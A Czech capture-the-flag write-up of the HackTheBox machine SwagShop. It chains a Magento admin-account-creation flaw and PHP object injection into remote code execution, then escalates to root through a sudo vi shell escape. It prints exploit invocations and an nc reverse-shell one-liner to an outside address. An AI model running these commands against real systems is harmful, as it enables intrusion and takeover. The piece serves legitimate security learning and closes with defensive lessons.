SwagShop
Úvod a kontext
SwagShop je postavený na starém Magento stacku a dobře ukazuje, jak se dají řetězit dvě známé webové chyby stejné platformy. První z nich sama o sobě nepřináší shell, ale dovolí vytvořit administrátorský účet. Druhá teprve promění přístup do backendu v RCE. Druhá fáze navíc dobře sedí i do obecnějšího článku Insecure deserialization napříč stacky, i když tady jde o PHP objektovou injekci v konkrétním Magento workflow.
Zajímavé je i to, že root část už se webu netýká. Po získání shellu jako www-data stačí jediná špatně napsaná sudo výjimka pro vi a celý stroj je kompromitovaný.
Počáteční průzkum
Vyhledání otevřených portů
Nejdřív ověřuji, jestli má stroj kromě e-shopu i další síťovou plochu:
ports=$(nmap -p- -Pn --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
To znamená, že první vstup povede přes web a SSH bude relevantní až později.
Identifikace Magento
Web na portu 80 odpovídal Magento shopu. U takto staré instalace má smysl hned ověřit známé veřejné chyby, protože starší Magento verze jsou notoricky známé řetězitelností více zranitelností v admin workflow.
Analýza zjištění
Shoplift: vytvoření admin účtu
První využitelnou chybou byl známý Shoplift (CVE-2015-1397), který dovolí bez autentizace vytvořit nový administrátorský účet. Praktický výstup byl jednoduchý:
WORKED
Check http://10.10.10.140/admin with creds ypwq:123
Důležitá je interpretace: nejde ještě o RCE, ale o převod veřejného návštěvníka na plnohodnotného správce Magento backendu.
PHP object injection v Magento adminu
Po přihlášení do /index.php/admin šlo využít druhou chybu, autentizovanou PHP object injection (CVE-2016-4010). Ta stojí na tom, že Magento podepisuje serializované objekty pomocí instalačního data, které lze získat z veřejně čitelného souboru:
curl -s 10.10.10.140/app/etc/local.xml | grep date
<date><![CDATA[Wed, 08 May 2019 07:23:09 +0000]]></date>
Jakmile je známý tento údaj a existuje administrátorský účet, lze spustit exploit typu 37811.py proti admin rozhraní a předat mu libovolný příkaz:
python magento_rce.py 'http://10.10.10.140/index.php/admin' "uname -a"
Tím se z administrace stává skutečné RCE v kontextu webového uživatele.
Získání přístupu
Shell jako www-data
Po potvrzení command execution dávalo smysl rovnou přejít na stabilní reverzní shell:
python magento_rce.py 'http://10.10.10.140/index.php/admin' "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.14 9001 >/tmp/f"
Výsledkem byl shell jako www-data. V tomto kontextu už šlo bez dalšího pivotu přečíst user flag:
cat user.txt
__CENSORED__
To je dobrá připomínka, že user flag nemusí vždy znamenat přihlášení pod skutečným lokálním uživatelem. Někdy stačí, že práva webového účtu dovolují číst příslušný soubor.
Eskalace oprávnění
Nebezpečné sudo pro vi
Po footholdu už nebylo potřeba hledat další aplikační chybu. sudo -l ukázalo přímo problém v lokální delegaci:
sudo -l
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
To vypadá omezeně, ale vi je interaktivní program se shell escapem. Jakmile ho lze spustit přes sudo, je to v praxi root shell.
Nejjednodušší varianta:
sudo /usr/bin/vi /var/www/html/a -c ':!/bin/sh'
Tím vznikne shell jako root a následně i přístup k root.txt:
cat /root/root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Shoplift sám o sobě neznamenal shell, ale zvedl útočníka do role admina v Magento backendu.
- PHP object injection pak využila důvěru Magento v podepsané serializované objekty a proměnila přístup do backendu v RCE.
- Root část nebyla o Magento vůbec, ale o špatně uděleném
sudoprávu na program se shell escapem.
Co si odnést do praxe
- Staré Magento instance je potřeba brát jako vysoce rizikové. Jakmile se v jednom systému sejdou dvě veřejně známé chyby v autentizaci a deserializaci, vzniká velmi krátký řetězec k RCE.
- Konfigurační soubory typu
local.xmlnesmí být veřejně dostupné. I když neobsahují přímo heslo admina, mohou nést materiál potřebný k obejití bezpečnostního podpisu. sudovýjimky pro editory, interprety a balíčkovací nástroje jsou prakticky root. U interaktivních programů nestačí omezit cestu k souboru; je potřeba zvažovat i jejich interní shell escape funkce.
Další související články
HTB Stroje
Techniky
- Container boundary mistakes: bind mounty, `docker exec`, `runc`, `privileged`
- Údržbové skripty a provozní automaty jako zdroj přístupů
- SUID/GTFOBins a netypické binárky